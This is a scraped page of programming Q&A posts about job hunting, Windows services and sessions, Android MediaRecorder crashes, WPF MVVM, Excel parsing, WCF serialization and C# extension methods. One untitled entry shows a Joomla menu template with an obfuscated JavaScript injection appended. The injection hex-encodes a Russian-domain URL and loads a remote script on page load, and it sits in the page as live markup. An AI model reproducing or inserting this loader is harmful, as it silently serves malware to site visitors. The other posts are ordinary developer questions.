  • What does a Software Developer actually do?

    - by chobo2
    Hi I am graduating from my Computer Science degree in a few weeks from now!! I started to look for my first job. For the last couple years I gotten really into web programming(Asp.net). My first choice would be to get a junior asp.net MVC developer but I don't any companies in my area use MVC yet or if they do they are not hiring. So my second choice would be a junior asp.net Webforms developer. My other choices after that would be forms applications, mobile applications using .Net and C#. As you can see I am looking for something with .Net. I spent the last couple years doing .Net projects for school, on my free time and love the Language and it would pain me right now to switch to something like php. So now I found a posting in my area for an Entry Software Developer. I like the fact that they are using .net and that it is entry job(I never worked in this industry and never had more then like a tutoring job so I want to for like intermediate jobs). Posting Are you looking for an exciting challenge within a dynamic, people-oriented culture where you can launch your technical career? Company Name Inc. is a technology consulting company, located in Canada, that designs, develops, and delivers real-time interactive applications accessed via the Internet as well as back-end tools to support these applications. Company Name provides a combination of out-of-the-box and customized solutions to an expanding list of partners and customers. POSITION SUMMARY As a member of our team, the successful candidate will be responsible for helping us increase the quality and stability of our software systems by working jointly and directly with both the Software Development teams and the QA Team. The primary mission of this role will be to substantially enhance our test automation suite. The incumbent will design and program automated tests (unit, integration, system, stress and load) in Visual Studio using C# and will develop sound processes that help us identify and resolve defects as early as possible. The successful incumbent will help us improve and enhance system functionality, reliability, performance and scalability. This role is specifically designed for an eager, bright, new graduate who is looking for a stepping stone into a software engineering role. We promote from within and invite new graduates to apply for this important position - which may lead to new opportunities. We also offer a generous professional development plan to help you on your way. You will be a key part of a team of experts that is responsible for improving the quality of our software by: • Designing, writing, and executing test plans and programmatic tests in Visual Studio using C# and NUnit for functional testing of our code, new features, regression, and performance test procedures. • Working with the engineers to design and build the stress and load testing framework which emulates tens and even hundreds of thousands of concurrent users via a distributed network interfacing with our Load Testing Lab. • Interfacing with both the Development Team and the QA Team to ensure risks are identified and managed. • Mentoring and leading the QA Team in programmatic test automation technologies and tools. MUST HAVE SKILLS / QUALIFICATIONS: • Diploma or higher Degree in Computer Science, or equivalent formal training. • Fundamental C# programming skills. • Knowledge of Internet technologies and Microsoft Windows platforms. • Knowledge of PC hardware. • Excellent communication skills (both oral and written). • Self-starter who takes initiative, requires minimal supervision, can handle multiple simultaneous tasks. • Detail-oriented, able to concentrate, and work quickly. • Proven diagnostic, analytical, and problem solving skills. NICE TO HAVE SKILLS: • Exposure to Visual Studio Team System or Visual Studio Test Edition. • Exposure in C# using NUnit. • Exposure to NUnit, HTTPUnit, and other automation tool suites. • Exposure to Performance/Stress/Load Testing. • Good understanding of relational databases (MS SQL Server). • Familiar with video and online multi-player games. As part of our team you will have the opportunity to work with a supportive team of experts, drive your own success, and ride the wave as we continually expand our team of experts. If you are interested in this opportunity, please send your resume to [email protected] with “Entry Level Software Developer” in the subject line. So that is the posting. To me it sounds like it is QA job. I don't have anything against QA jobs but alot of them seems to be your just clicking buttons and running scripts. Is this what a typical software developer does? Like I am so on the fence to apply for this job. On one side I am not sure how much programming I would be doing. Like I want to be at least half the time programming otherwise my skills will never improve since I will never be programming in teams and stuff. At the same time I have no experience in the industry so on the other side I am thinking just go for it and then maybe a year later try to get a full programming job(provided that I got the job). Yet if I am not programming in that job then that experience will not help me for the next job I find as I will be back a square one.

  • Windows 2008 RenderFarm Service: CreateProcessAsUser "Session 0 Isolation" and OpenGL

    - by holtavolt
    Hello, I have a legacy Windows server service and (spawned) application that works fine in XP-64 and W2K3, but fails on W2K8. I believe it is because of the new "Session 0 isolation " feature. (Note: As a StackOverflow newbie I'm being limited to one link in this post, so you'll need to scroll to bottom to lookup the links for '' items)* Consequently, I'm looking for code samples/security settings mojo that let you create a new process from a windows service for Windows 2008 Server such that I can restore (and possibly surpass) the previous behavior. I need a solution that: Creates the new process in a non-zero session to get around session-0 isolation restrictions (no access to graphics hardware from session 0) - the official MS line on this is: Because Session 0 is no longer a user session, services that are running in Session 0 do not have access to the video driver. This means that any attempt that a service makes to render graphics fails. Querying the display resolution and color depth in Session 0 reports the correct results for the system up to a maximum of 1920x1200 at 32 bits per pixel. The new process gets a windows station/desktop (e.g. winsta0/default) that can be used to create windows DCs. I've found a solution (that launches OK in an interactive session) for this here: *(Starting an Interactive Client Process in C++ - 2) The windows DC, when used as the basis for an *(OpenGL DescribePixelFormat enumeration - 3), is able to find and use the hardware-accelerated format (on a system appropriately equipped with OpenGL hardware.) Note that our current solution works OK on XP-64 and W2K3, except if a terminal services session is running (VNC works fine.) A solution that also allowed the process to work (i.e. run with OpenGL hardware acceleration even when a terminal services session is open) would be fanastic, although not required. I'm stuck at item #1 currently, and although there are some similar postings that discuss this (like *(this -4), and *(this - 5) - they are not suitable solutions, as there is no guarantee of a user session logged in already to "take" a session id from, nor am I running from a LocalSystem account (I'm running from a domain account for the service, for which I can adjust the privileges of, within reason, although I'd prefer to not have to escalate priorities to include SeTcbPrivileges.) For instance - here's a stub that I think should work, but always returns an error 1314 on the SetTokenInformation call (even though the AdjustTokenPrivileges returned no errors) I've used some alternate strategies involving "LogonUser" as well (instead of opening the existing process token), but I can't seem to swap out the session id. I'm also dubious about using the WTSActiveConsoleSessionId in all cases (for instance, if no interactive user is logged in) - although a quick test of the service running with no sessions logged in seemed to return a reasonable session value (1). I’ve removed error handling for ease of reading (still a bit messy - apologies) //Also tried using LogonUser(..) here OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ADJUST_DEFAULT | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE, &hToken) GetTokenInformation( hToken, TokenSessionId, &logonSessionId, sizeof(DWORD), &dwTokenLength ) DWORD consoleSessionId = WTSGetActiveConsoleSessionId(); /* Can't use this - requires very elevated privileges (LOCAL only, SeTcbPrivileges as well) if( !WTSQueryUserToken(consoleSessionId, &hToken)) ... */ DuplicateTokenEx(hToken, (TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ADJUST_DEFAULT | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE), NULL, SecurityIdentification, TokenPrimary, &hDupToken)) // Look up the LUID for the TCB Name privilege. LookupPrivilegeValue(NULL, SE_TCB_NAME, &tp.Privileges[0].Luid)) // Enable the TCB Name privilege in the token. tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hDupToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, 0)) { DisplayError("AdjustTokenPrivileges"); ... } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { DEBUG( "Token does not have the necessary privilege.\n"); } else { DEBUG( "No error reported from AdjustTokenPrivileges!\n"); } // Never errors here DEBUG(LM_INFO, "Attempting setting of sessionId to: %d\n", consoleSessionId ); if (!SetTokenInformation(hDupToken, TokenSessionId, &consoleSessionId, sizeof(DWORD))) *** ALWAYS FAILS WITH 1314 HERE *** All the debug output looks fine up until the SetTokenInformation call - I see session 0 is my current process session, and in my case, it's trying to set session 1 (the result of the WTSGetActiveConsoleSessionId). (Note that I'm logged into the W2K8 box via VNC, not RDC) So - a the questions: Is this approach valid, or are all service-initiated processes restricted to session 0 intentionally? Is there a better approach (short of "Launch on logon" and auto-logon for the servers?) Is there something wrong with this code, or a different way to create a process token where I can swap out the session id to indicate I want to spawn the process in a new session? I did try using LogonUser instead of OpenProcessToken, but that didn't work either. (I don't care if all spawned processes share the same non-zero session or not at this point.) Any help much appreciated - thanks!

  • ExpressionEngine Segment Variables Lost on Site Index Page

    - by Jesse Bunch
    Hey Everyone, I've been messing with this for days now and can't seem to figure it out. I am trying to pass a 2nd segment variable to my client's index page. The URL I'm trying is: http://www.compupay.com/site/CSCPA/. The problem is, rather than showing the site's index page with the segment variable of "CSCPA" still in the URL, it shows the index page with no segment variables. Initially, I thought it was a .htaccess problem but I couldn't find anything in it that seemed out of whack. Any ideas? I am posting the .htaccess file so another pair of eyes can see it.

  • Spring security request matcher is not working with regex

  • MediaRecorder prepare() causes segfault

    - by dwilde1
    Folks, I have a situation where my MediaRecorder instance causes a segfault. I'm working with a HTC Hero, Android 1.5+APIs. I've tried all variations, including 3gpp and H.263 and reducing the video resolution to 320x240. What am I missing? The state machine causes 4 MediaPlayer beeps and then turns on the video camera. Here's the pertinent source: UPDATE: ADDING SURFACE CREATE INFO I have rebooted the device based on previous answer to similar question. UPDATE 2: I seem to be following the MediaRecorder state machine perfectly, and if I trap out the MR code, the blank surface displays perfectly and everything else functions perfectly. I can record videos manually and play back via MediaPlayer in my code, so there should be nothing wrong with the underlying code. I've copied sample code on the surface and surfaceHolder code. I've looked at the MR instance in the Debug perspective in Eclipse and see that all (known) variables seem to be instantiated correctly. The setter calls are all now implemented in the exaxct order specced in the state diagram. UPDATE 3: I've tried all permission combinations: CAMERA + RECORD_AUDIO+RECORD_VIDEO, CAMERA only, RECORD_AUDIO+RECORD_VIDEO This is driving me bats! :))) // in activity class definition protected MediaPlayer mPlayer; protected MediaRecorder mRecorder; protected boolean inCapture = false; protected int phaseCapture = 0; protected int durCapturePhase = INF; protected SurfaceView surface; protected SurfaceHolder surfaceHolder; // in onCreate() // panelPreview is an empty LinearLayout surface = new SurfaceView(getApplicationContext()); surfaceHolder = surface.getHolder(); surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); panelPreview.addView(surface); // in timer handler runnable if (mRecorder == null) mRecorder = new MediaRecorder(); mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA); mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mRecorder.setOutputFile(path + "/" + vlip); mRecorder.setVideoSize(320, 240); mRecorder.setVideoFrameRate(15); mRecorder.setPreviewDisplay(surfaceHolder.getSurface()); panelPreview.setVisibility(LinearLayout.VISIBLE); mRecorder.prepare(); mRecorder.start(); Here is a complete log trace for the process run and crash: I/ActivityManager( 80): Start proc com.ejf.convince.jenplus for activity com.ejf.convince.jenplus/.JenPLUS: pid=17738 uid=10075 gids={1006, 3003} I/jdwp (17738): received file descriptor 10 from ADB W/System.err(17738): Can't dispatch DDM chunk 46454154: no handler defined W/System.err(17738): Can't dispatch DDM chunk 4d505251: no handler defined I/WindowManager( 80): Screen status=true, current orientation=-1, SensorEnabled=false I/WindowManager( 80): needSensorRunningLp, mCurrentAppOrientation =-1 I/WindowManager( 80): Enabling listeners W/ActivityThread(17738): Application com.ejf.convince.jenplus is waiting for the debugger on port 8100...

  • Big smart ViewModels, dumb Views, and any model, the best MVVM approach?

    - by Edward Tanguay
    The following code is a refactoring of my previous MVVM approach (Fat Models, skinny ViewModels and dumb Views, the best MVVM approach?) in which I moved the logic and INotifyPropertyChanged implementation from the model back up into the ViewModel. This makes more sense, since as was pointed out, you often you have to use models that you either can't change or don't want to change and so your MVVM approach should be able to work with any model class as it happens to exist. This example still allows you to view the live data from your model in design mode in Visual Studio and Expression Blend which I think is significant since you could have a mock data store that the designer connects to which has e.g. the smallest and largest strings that the UI can possibly encounter so that he can adjust the design based on those extremes. Questions: I'm a bit surprised that I even have to "put a timer" in my ViewModel since it seems like that is a function of INotifyPropertyChanged, it seems redundant, but it was the only way I could get the XAML UI to constantly (once per second) reflect the state of my model. So it would be interesting to hear anyone who may have taken this approach if you encountered any disadvantages down the road, e.g. with threading or performance. The following code will work if you just copy the XAML and code behind into a new WPF project. XAML: <Window x:Class="TestMvvm73892.Window1" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:TestMvvm73892" Title="Window1" Height="300" Width="300"> <Window.Resources> <ObjectDataProvider x:Key="DataSourceCustomer" ObjectType="{x:Type local:CustomerViewModel}" MethodName="GetCustomerViewModel"/> </Window.Resources> <DockPanel DataContext="{StaticResource DataSourceCustomer}"> <StackPanel DockPanel.Dock="Top" Orientation="Horizontal"> <TextBlock Text="{Binding Path=FirstName}"/> <TextBlock Text=" "/> <TextBlock Text="{Binding Path=LastName}"/> </StackPanel> <StackPanel DockPanel.Dock="Top" Orientation="Horizontal"> <TextBlock Text="{Binding Path=TimeOfMostRecentActivity}"/> </StackPanel> </DockPanel> </Window> Code Behind: using System; using System.Windows; using System.ComponentModel; using System.Threading; namespace TestMvvm73892 { public partial class Window1 : Window { public Window1() { InitializeComponent(); } } //view model public class CustomerViewModel : INotifyPropertyChanged { private string _firstName; private string _lastName; private DateTime _timeOfMostRecentActivity; private Timer _timer; public string FirstName { get { return _firstName; } set { _firstName = value; this.RaisePropertyChanged("FirstName"); } } public string LastName { get { return _lastName; } set { _lastName = value; this.RaisePropertyChanged("LastName"); } } public DateTime TimeOfMostRecentActivity { get { return _timeOfMostRecentActivity; } set { _timeOfMostRecentActivity = value; this.RaisePropertyChanged("TimeOfMostRecentActivity"); } } public CustomerViewModel() { _timer = new Timer(CheckForChangesInModel, null, 0, 1000); } private void CheckForChangesInModel(object state) { Customer currentCustomer = CustomerViewModel.GetCurrentCustomer(); MapFieldsFromModeltoViewModel(currentCustomer, this); } public static CustomerViewModel GetCustomerViewModel() { CustomerViewModel customerViewModel = new CustomerViewModel(); Customer currentCustomer = CustomerViewModel.GetCurrentCustomer(); MapFieldsFromModeltoViewModel(currentCustomer, customerViewModel); return customerViewModel; } public static void MapFieldsFromModeltoViewModel(Customer model, CustomerViewModel viewModel) { viewModel.FirstName = model.FirstName; viewModel.LastName = model.LastName; viewModel.TimeOfMostRecentActivity = model.TimeOfMostRecentActivity; } public static Customer GetCurrentCustomer() { return Customer.GetCurrentCustomer(); } //INotifyPropertyChanged implementation public event PropertyChangedEventHandler PropertyChanged; private void RaisePropertyChanged(string property) { if (PropertyChanged != null) { PropertyChanged(this, new PropertyChangedEventArgs(property)); } } } //model public class Customer { public string FirstName { get; set; } public string LastName { get; set; } public DateTime TimeOfMostRecentActivity { get; set; } public static Customer GetCurrentCustomer() { return new Customer { FirstName = "Jim", LastName = "Smith", TimeOfMostRecentActivity = DateTime.Now }; } } }

  • Starting to make progress Was [MediaRecorder prepare() causes segfault]

    - by dwilde1
    Folks, I have a situation where my MediaRecorder instance causes a segfault. I'm working with a HTC Hero, Android 1.5+APIs. I've tried all variations, including 3gpp and H.263 and reducing the video resolution to 320x240. What am I missing? The state machine causes 4 MediaPlayer beeps and then turns on the video camera. Here's the pertinent source: UPDATE: ADDING SURFACE CREATE INFO I have rebooted the device based on previous answer to similar question. UPDATE 2: I seem to be following the MediaRecorder state machine perfectly, and if I trap out the MR code, the blank surface displays perfectly and everything else functions perfectly. I can record videos manually and play back via MediaPlayer in my code, so there should be nothing wrong with the underlying code. I've copied sample code on the surface and surfaceHolder code. I've looked at the MR instance in the Debug perspective in Eclipse and see that all (known) variables seem to be instantiated correctly. The setter calls are all now implemented in the exaxct order specced in the state diagram. UPDATE 3: I've tried all permission combinations: CAMERA + RECORD_AUDIO+RECORD_VIDEO, CAMERA only, RECORD_AUDIO+RECORD_VIDEO This is driving me bats! :))) UPDATE 4: starting to work... but with puzzling results. Based on info in bug #5050, I spaced everything out. I have now gotten the recorder to actually save a snippet of video (a whole 2160 bytes!), and I did it by spacing the view visibility, prepare() and start() w.a.a.a.a.a.y out (like several hundred milliseconds for each step). I think what happens is that either bringing the surface VISIBLE has delayed processing or else the start() steps on the prepare() operation before it is complete. What is now happening, however, is that my simple timer tickdown counter is getting clobbered. Is it now that the preview and save operations are causing my main process thread to become unavailable? I'm recording only 10fps at 176x144. Referencing the above code, I've added a timer tickdown after setPreviewDisplay(), prepare() and start(). As I say, it now functions to some degree, but the results still have anomalies. // in activity class definition protected MediaPlayer mPlayer; protected MediaRecorder mRecorder; protected boolean inCapture = false; protected int phaseCapture = 0; protected int durCapturePhase = INF; protected SurfaceView surface; protected SurfaceHolder surfaceHolder; // in onCreate() // panelPreview is an empty LinearLayout surface = new SurfaceView(getApplicationContext()); surfaceHolder = surface.getHolder(); surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); panelPreview.addView(surface); // in timer handler runnable if (mRecorder == null) mRecorder = new MediaRecorder(); mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA); mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mRecorder.setOutputFile(path + "/" + vlip); mRecorder.setVideoSize(320, 240); mRecorder.setVideoFrameRate(15); mRecorder.setPreviewDisplay(surfaceHolder.getSurface()); panelPreview.setVisibility(LinearLayout.VISIBLE); mRecorder.prepare(); mRecorder.start(); Here is a complete log trace for the process run and crash: I/ActivityManager( 80): Start proc com.ejf.convince.jenplus for activity com.ejf.convince.jenplus/.JenPLUS: pid=17738 uid=10075 gids={1006, 3003} I/jdwp (17738): received file descriptor 10 from ADB W/System.err(17738): Can't dispatch DDM chunk 46454154: no handler defined W/System.err(17738): Can't dispatch DDM chunk 4d505251: no handler defined I/WindowManager( 80): Screen status=true, current orientation=-1, SensorEnabled=false I/WindowManager( 80): needSensorRunningLp, mCurrentAppOrientation =-1 I/WindowManager( 80): Enabling listeners W/ActivityThread(17738): Application com.ejf.convince.jenplus is waiting for the debugger on port 8100...

  • Design pattern for parsing data that will be grouped to two different ways and flipped

    - by lewisblackfan
    I'm looking for an easily maintainable and extendable design model for a script to parse an excel workbook into two separate workbooks after pulling data from other locations like the command line, and a database. The high level details are as follows. I need to parse an excel workbook containing a sheet that lists unique question names, the only reliable information that can be parsed from the question name is the book code that identifies the title and edition of the textbook the question is associated with, the rest of the question name is not standardized well enough to be reliably parsed by computer. The general form of the question name is best described by the following regular expression. '^(\w+)\s(\w{1,2})\.(\w{1,2})\.(\w{1,3})\.(\w{1,3}\.)*$' The first sub-pattern is the book code, the second sub-pattern is 90% of the time the chapter, and the rest of the sub-patterns could be section, problem type, problem number, or question type information. There is no simple logic, at least not one I can find. There will be a minimum of three other columns in this spreadsheet; one column will be the chapter the question is associated with, the second will be the section within the chapter the question is associated with, and the third will be some kind of asset indicated by a uniform resource locator. 1 | 1 | qname1 | url | description | url | description ... 1 | 1 | qname2 | url | description 1 | 1 | qname3 | url | description | url | description | url | The asset can be indicated by a full or partial uniform resource locator, the partial url will need to be completed before it can be fed into the application. There theoretically could be no limit to the number of asset columns, the assets will be grouped in columns by type. Some times additional data will have to be retrieved from a database or combined with the book code before the asset url is complete and can be understood by the application that will be using the asset. The type is an abstraction, there are eight types right now, each with their own logic in how the uniform resource locator is handled and or completed, and I have to add a new type and its logic every three or four months. For each asset url there is the possibility of a description column, a character string for display in the application, but not always. (I've already worked out validating the description text, and squashing MSs obscure code page down to something 7-bit ascii can handle.) Now that all the details are filled-in I can get to the actual problem of parsing the file. I need to split the information in this excel workbook into two separate workbooks. The first workbook will group all the questions by section in rows. With the first cell being the section doublet and the rest of the cells in the row are the question names. 1.1 | qname1 | qname2 | qname3 | qname4 | 1.2 | qname1 | qname2 | qname3 | 1.3 | qname1 | qname2 | qname3 | qname4 | qname5 There is no set number of questions for each section as you can see from the above example. The second workbook is more complicated, there is one row per asset, and question names that have more than one asset will be duplicated. There will be four or five columns on this sheet. The first is the question name for the asset, the second is a media type used to select the correct icon for the asset in the application, the third is string representing the asset type, the four is the full and complete uniform resource locator for the asset, and the fifth columns is the optional text description for the asset. q1 | mtype1 | atype1 | url | description q1 | mtype2 | atype2 | url | description q1 | mtype2 | atype3 | url | description q2 | mtype1 | atype1 | url | description q2 | mtype2 | atype3 | url | description For the original six types I did have a script that parsed the source excel workbook into the other two excel workbooks, and I was able to add two more types until I ran aground on the implementation of the ninth type and tenth types. What broke my script was the fact that the ninth type is actually a sub-type of one of the original six, but with entirely different logic, and my mostly procedural script could not accommodate without duplicating a lot of code. I also had a lot of bugs in the script and will be writing the test first on this time around. I'm stuck with the format for the resulting two workbooks, this script is glue code, development went ahead with the project without bothering to get a complete spec from the sponsor. I work for the same company as the developers but in the editorial department, editorial is co-sponsor of the project, and am expected to fix pesky details like this (I'm foaming at the mouth as I type this). I've tried factories, I've tried different object models, but each resulting workbook is so different when I find a design that works for generating one workbook the code is not really usable for generating the other. What I would really like are ideas about a maintainable and extensible design for parsing the source workbook into both workbooks with maximum code reuse, and or sympathy.

  • migrating webclient to WCF; WCF client serializes parametername of method

    - by Wouter
    I'm struggling with migrating from webservice/webclient architecture to WCF architecture. The object are very complex, with lots of nested xsd's and different namespaces. Proxy classes are generated by adding a Web Reference to an original wsdl with 30+ webmethods and using xsd.exe for generating the missing SOAPFault objects. My pilot WCF Service consists of only 1 webmethod which matches the exact syntax of one of the original methods: 1 object as parameter, returning 1 other object as result value. I greated a WCF Interface using those proxy classes, using attributes: XMLSerializerFormat and ServiceContract on the interface, OperationContract on one method from original wsdl specifying Action, ReplyAction, all with the proper namespaces. I create incoming client messages using SoapUI; I generated a project from the original WSDL files (causing the SoapUI project to have 30+ methods) and created one new Request at the one implemented WebMethod, changed the url to my wcf webservice and send the message. Because of the specified (Reply-)Action in the OperationContractAttribute, the message is actually received and properly deserialized into an object. To get this far (40 hours of googling), a lot of frustration led me to using a custom endpoint in which the WCF 'wrapped tags' are removed, the namespaces for nested types are corrected, and the generated wsdl get's flattened (for better compatibility with other tools then MS VisualStudio). Interface code is this: [XmlSerializerFormat(Use = OperationFormatUse.Literal, Style = OperationFormatStyle.Document, SupportFaults = true)] [ServiceContract(Namespace = Constants.NamespaceStufZKN)] public interface IOntvangAsynchroon { [OperationContract(Action = Constants.NamespaceStufZKN + "/zakLk01", ReplyAction = Constants.NamespaceStufZKN + "/zakLk01", Name = "zakLk01")] [FaultContract(typeof(Fo03Bericht), Namespace = Constants.NamespaceStuf)] Bv03Bericht zakLk01([XmlElement("zakLk01", Namespace = Constants.NamespaceStufZKN)] ZAKLk01 zakLk011); When I use a Webclient in code to send a message, everything works. My problem is, when I use a WCF client. I use ChannelFactory< IOntvangAsynchroon to send a message. But the generated xml looks different: it includes the parametername of the method! It took me a lot of time to figure this one out, but here's what happens: Correct xml (stripped soap envelope): <soap:Body> <zakLk01 xmlns="http://www.egem.nl/StUF/sector/zkn/0310"> <stuurgegevens> <berichtcode xmlns="http://www.egem.nl/StUF/StUF0301">Bv01</berichtcode> <zender xmlns="http://www.egem.nl/StUF/StUF0301"> <applicatie>ONBEKEND</applicatie> </zender> </stuurgegevens> <parameters> </parameters> </zakLk01> </soap:Body> Bad xml: <soap:Body> <zakLk01 xmlns="http://www.egem.nl/StUF/sector/zkn/0310"> <zakLk011> <stuurgegevens> <berichtcode xmlns="http://www.egem.nl/StUF/StUF0301">Bv01</berichtcode> <zender xmlns="http://www.egem.nl/StUF/StUF0301"> <applicatie>ONBEKEND</applicatie> </zender> </stuurgegevens> <parameters> </parameters> </zakLk011> </zakLk01> </soap:Body> Notice the 'zakLk011' element? It is the name of the parameter of the method in my interface! So NOW it is zakLk011, but it when my parameter name was 'zakLk01', the xml seemed to contain some magical duplicate of the tag above, but without namespace. Of course, you can imagine me going crazy over what was happening before finding out it was the parametername! I know have actually created a WCF Service, at which I cannot send messages using a WCF Client anymore. For clarity: The method does get invoked using the WCF Client on my webservice, but the parameter object is empty. Because I'm using a custom endpoint to log the incoming xml, I can see the message is received fine, but just with the wrong syntax! WCF client code: ZAKLk01 stufbericht = MessageFactory.CreateZAKLk01(); ChannelFactory<IOntvangAsynchroon> factory = new ChannelFactory<IOntvangAsynchroon>(new BasicHttpBinding(), new EndpointAddress("http://localhost:8193/Roxit/Link/zkn0310")); factory.Endpoint.Behaviors.Add(new LinkEndpointBehavior()); IOntvangAsynchroon client = factory.CreateChannel(); client.zakLk01(stufbericht); I am not using a generated client, i just reference the webservice like i am lot's of times. Can anyone please help me? I can't google anything on this...

Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

  • Prefer extension methods for encapsulation and reusability?

    - by tzaman
    edit4: wikified, since this seems to have morphed more into a discussion than a specific question. In C++ programming, it's generally considered good practice to "prefer non-member non-friend functions" instead of instance methods. This has been recommended by Scott Meyers in this classic Dr. Dobbs article, and repeated by Herb Sutter and Andrei Alexandrescu in C++ Coding Standards (item 44); the general argument being that if a function can do its job solely by relying on the public interface exposed by the class, it actually increases encapsulation to have it be external. While this confuses the "packaging" of the class to some extent, the benefits are generally considered worth it. Now, ever since I've started programming in C#, I've had a feeling that here is the ultimate expression of the concept that they're trying to achieve with "non-member, non-friend functions that are part of a class interface". C# adds two crucial components to the mix - the first being interfaces, and the second extension methods: Interfaces allow a class to formally specify their public contract, the methods and properties that they're exposing to the world. Any other class can choose to implement the same interface and fulfill that same contract. Extension methods can be defined on an interface, providing any functionality that can be implemented via the interface to all implementers automatically. And best of all, because of the "instance syntax" sugar and IDE support, they can be called the same way as any other instance method, eliminating the cognitive overhead! So you get the encapsulation benefits of "non-member, non-friend" functions with the convenience of members. Seems like the best of both worlds to me; the .NET library itself providing a shining example in LINQ. However, everywhere I look I see people warning against extension method overuse; even the MSDN page itself states: In general, we recommend that you implement extension methods sparingly and only when you have to. (edit: Even in the current .NET library, I can see places where it would've been useful to have extensions instead of instance methods - for example, all of the utility functions of List<T> (Sort, BinarySearch, FindIndex, etc.) would be incredibly useful if they were lifted up to IList<T> - getting free bonus functionality like that adds a lot more benefit to implementing the interface.) So what's the verdict? Are extension methods the acme of encapsulation and code reuse, or am 